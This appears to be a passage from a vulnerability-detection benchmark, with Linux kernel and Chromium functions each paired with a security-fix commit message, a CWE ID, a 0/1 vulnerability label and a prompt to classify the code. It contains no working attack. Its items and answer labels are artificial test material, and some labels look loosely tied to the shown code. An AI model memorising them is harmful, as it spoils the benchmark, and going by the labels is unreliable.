fw_name, status);
return status;
}
if (check_fw_sanity(serial, fw)) {
status = -EINVAL;
goto out;
}
fw_hdr = (struct edgeport_fw_hdr *)fw->data;
/* If on-board version is newer, "fw_version" will be updated later. */
serial->fw_version = (fw_hdr->major_version << 8) +
fw_hdr->minor_version;
/*
* This routine is entered by both the BOOT mode and the Download mode
* We can determine which code is running by the reading the config
* descriptor and if we have only one bulk pipe it is in boot mode
*/
serial->product_info.hardware_type = HARDWARE_TYPE_TIUMP;
/* Default to type 2 i2c */
serial->TI_I2C_Type = DTK_ADDR_SPACE_I2C_TYPE_II;
status = choose_config(serial->serial->dev);
if (status)
goto out;
interface = &serial->serial->interface->cur_altsetting->desc;
if (!interface) {
dev_err(dev, "%s - no interface set, error!\n", __func__);
status = -ENODEV;
goto out;
}
/*
* Setup initial mode -- the default mode 0 is TI_MODE_CONFIGURING
* if we have more than one endpoint we are definitely in download
* mode
*/
if (interface->bNumEndpoints > 1) {
serial->product_info.TiMode = TI_MODE_DOWNLOAD;
status = do_download_mode(serial, fw);
} else {
/* Otherwise we will remain in configuring mode */
serial->product_info.TiMode = TI_MODE_CONFIGURING;
status = do_boot_mode(serial, fw);
}
out:
release_firmware(fw);
return status;
}
Commit Message: USB: serial: io_ti: fix information leak in completion handler
Add missing sanity check to the bulk-in completion handler to avoid an
integer underflow that can be triggered by a malicious device.
This avoids leaking 128 kB of memory content from after the URB transfer
buffer to user space.
Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable <stable@vger.kernel.org> # 2.6.30
Signed-off-by: Johan Hovold <johan@kernel.org>
CWE ID: CWE-191
| 0
| 5,818
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void registerURL(const char* file, const char* mimeType)
{
registerURL(file, file, mimeType);
}
Commit Message: Escape "--" in the page URL at page serialization
This patch makes page serializer to escape the page URL embed into a HTML
comment of result HTML[1] to avoid inserting text as HTML from URL by
introducing a static member function |PageSerialzier::markOfTheWebDeclaration()|
for sharing it between |PageSerialzier| and |WebPageSerialzier| classes.
[1] We use following format for serialized HTML:
saved from url=(${lengthOfURL})${URL}
BUG=503217
TEST=webkit_unit_tests --gtest_filter=PageSerializerTest.markOfTheWebDeclaration
TEST=webkit_unit_tests --gtest_filter=WebPageSerializerTest.fromUrlWithMinusMinu
Review URL: https://codereview.chromium.org/1371323003
Cr-Commit-Position: refs/heads/master@{#351736}
CWE ID: CWE-20
| 0
| 7,306
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderLayerCompositor::setNeedsCompositingUpdate(CompositingUpdateType updateType)
{
if (m_renderView->needsLayout())
return;
if (m_forceCompositingMode && !m_compositing)
enableCompositingMode(true);
if (!m_needsToRecomputeCompositingRequirements && !m_compositing)
return;
switch (updateType) {
case CompositingUpdateAfterStyleChange:
case CompositingUpdateAfterLayout:
m_needsToRecomputeCompositingRequirements = true;
break;
case CompositingUpdateOnScroll:
m_needsToRecomputeCompositingRequirements = true; // Overlap can change with scrolling, so need to check for hierarchy updates.
m_needsToUpdateLayerTreeGeometry = true;
break;
case CompositingUpdateOnCompositedScroll:
m_needsToUpdateLayerTreeGeometry = true;
break;
}
m_renderView->frameView()->scheduleAnimation();
}
Commit Message: Disable some more query compositingState asserts.
This gets the tests passing again on Mac. See the bug for the stacktrace.
A future patch will need to actually fix the incorrect reading of
compositingState.
BUG=343179
Review URL: https://codereview.chromium.org/162153002
git-svn-id: svn://svn.chromium.org/blink/trunk@167069 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 22,621
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void blk_rq_timed_out_timer(struct timer_list *t)
{
struct request_queue *q = from_timer(q, t, timeout);
kblockd_schedule_work(&q->timeout_work);
}
Commit Message: block: blk_init_allocated_queue() set q->fq as NULL in the fail case
We find the memory use-after-free issue in __blk_drain_queue()
on the kernel 4.14. After read the latest kernel 4.18-rc6 we
think it has the same problem.
Memory is allocated for q->fq in the blk_init_allocated_queue().
If the elevator init function called with error return, it will
run into the fail case to free the q->fq.
Then the __blk_drain_queue() uses the same memory after the free
of the q->fq, it will lead to the unpredictable event.
The patch is to set q->fq as NULL in the fail case of
blk_init_allocated_queue().
Fixes: commit 7c94e1c157a2 ("block: introduce blk_flush_queue to drive flush machinery")
Cc: <stable@vger.kernel.org>
Reviewed-by: Ming Lei <ming.lei@redhat.com>
Reviewed-by: Bart Van Assche <bart.vanassche@wdc.com>
Signed-off-by: xiao jin <jin.xiao@intel.com>
Signed-off-by: Jens Axboe <axboe@kernel.dk>
CWE ID: CWE-416
| 0
| 17,631
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChromeMockRenderThread::OnMsgOpenChannelToExtension(
int routing_id, const std::string& source_extension_id,
const std::string& target_extension_id,
const std::string& channel_name, int* port_id) {
*port_id = 0;
}
Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-200
| 1
| 23,461
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void HTMLFormElement::collectImageElements(
Node& root,
HeapVector<Member<HTMLImageElement>>& elements) {
elements.clear();
for (HTMLImageElement& image :
Traversal<HTMLImageElement>::startsAfter(root)) {
if (image.formOwner() == this)
elements.append(&image);
}
}
Commit Message: Enforce form-action CSP even when form.target is present.
BUG=630332
Review-Url: https://codereview.chromium.org/2464123004
Cr-Commit-Position: refs/heads/master@{#429922}
CWE ID: CWE-19
| 0
| 3,275
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ZeroSuggestProvider::~ZeroSuggestProvider() {
}
Commit Message: Provide experimental contextual suggestions when current URL comes from a google domain.
The counts for the Omnibox.ZeroSuggestRequests historgram are 35% smaller for groups that are running under the ZeroSuggestRedirectToChrome flag. Note that previous to this CL, a request was not made when the user was visiting an HTTPS page and the domain of the current was different from that of the service providing zero suggestions. This CL addresses this restrictions by making sure that requests are sent to the experimental service when Google is the default search engine AND the same request was validated to be sent to Google.
BUG=692471
Review-Url: https://codereview.chromium.org/2915163003
Cr-Commit-Position: refs/heads/master@{#476786}
CWE ID:
| 0
| 5,352
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int kvm_task_switch(struct kvm_vcpu *vcpu, u16 tss_selector, int reason,
bool has_error_code, u32 error_code)
{
struct x86_emulate_ctxt *ctxt = &vcpu->arch.emulate_ctxt;
int ret;
init_emulate_ctxt(vcpu);
ret = emulator_task_switch(ctxt, tss_selector, reason,
has_error_code, error_code);
if (ret)
return EMULATE_FAIL;
memcpy(vcpu->arch.regs, ctxt->regs, sizeof ctxt->regs);
kvm_rip_write(vcpu, ctxt->eip);
kvm_set_rflags(vcpu, ctxt->eflags);
kvm_make_request(KVM_REQ_EVENT, vcpu);
return EMULATE_DONE;
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <michael@ellerman.id.au>
Signed-off-by: Avi Kivity <avi@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-399
| 0
| 7,532
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void msg_init_ns(struct ipc_namespace *ns)
{
ns->msg_ctlmax = MSGMAX;
ns->msg_ctlmnb = MSGMNB;
recompute_msgmni(ns);
atomic_set(&ns->msg_bytes, 0);
atomic_set(&ns->msg_hdrs, 0);
ipc_init_ids(&ns->ids[IPC_MSG_IDS]);
}
Commit Message: ipc,sem: fine grained locking for semtimedop
Introduce finer grained locking for semtimedop, to handle the common case
of a program wanting to manipulate one semaphore from an array with
multiple semaphores.
If the call is a semop manipulating just one semaphore in an array with
multiple semaphores, only take the lock for that semaphore itself.
If the call needs to manipulate multiple semaphores, or another caller is
in a transaction that manipulates multiple semaphores, the sem_array lock
is taken, as well as all the locks for the individual semaphores.
On a 24 CPU system, performance numbers with the semop-multi
test with N threads and N semaphores, look like this:
vanilla Davidlohr's Davidlohr's + Davidlohr's +
threads patches rwlock patches v3 patches
10 610652 726325 1783589 2142206
20 341570 365699 1520453 1977878
30 288102 307037 1498167 2037995
40 290714 305955 1612665 2256484
50 288620 312890 1733453 2650292
60 289987 306043 1649360 2388008
70 291298 306347 1723167 2717486
80 290948 305662 1729545 2763582
90 290996 306680 1736021 2757524
100 292243 306700 1773700 3059159
[davidlohr.bueso@hp.com: do not call sem_lock when bogus sma]
[davidlohr.bueso@hp.com: make refcounter atomic]
Signed-off-by: Rik van Riel <riel@redhat.com>
Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Acked-by: Davidlohr Bueso <davidlohr.bueso@hp.com>
Cc: Chegu Vinod <chegu_vinod@hp.com>
Cc: Jason Low <jason.low2@hp.com>
Reviewed-by: Michel Lespinasse <walken@google.com>
Cc: Peter Hurley <peter@hurleysoftware.com>
Cc: Stanislav Kinsbursky <skinsbursky@parallels.com>
Tested-by: Emmanuel Benisty <benisty.e@gmail.com>
Tested-by: Sedat Dilek <sedat.dilek@gmail.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-189
| 0
| 18,574
|
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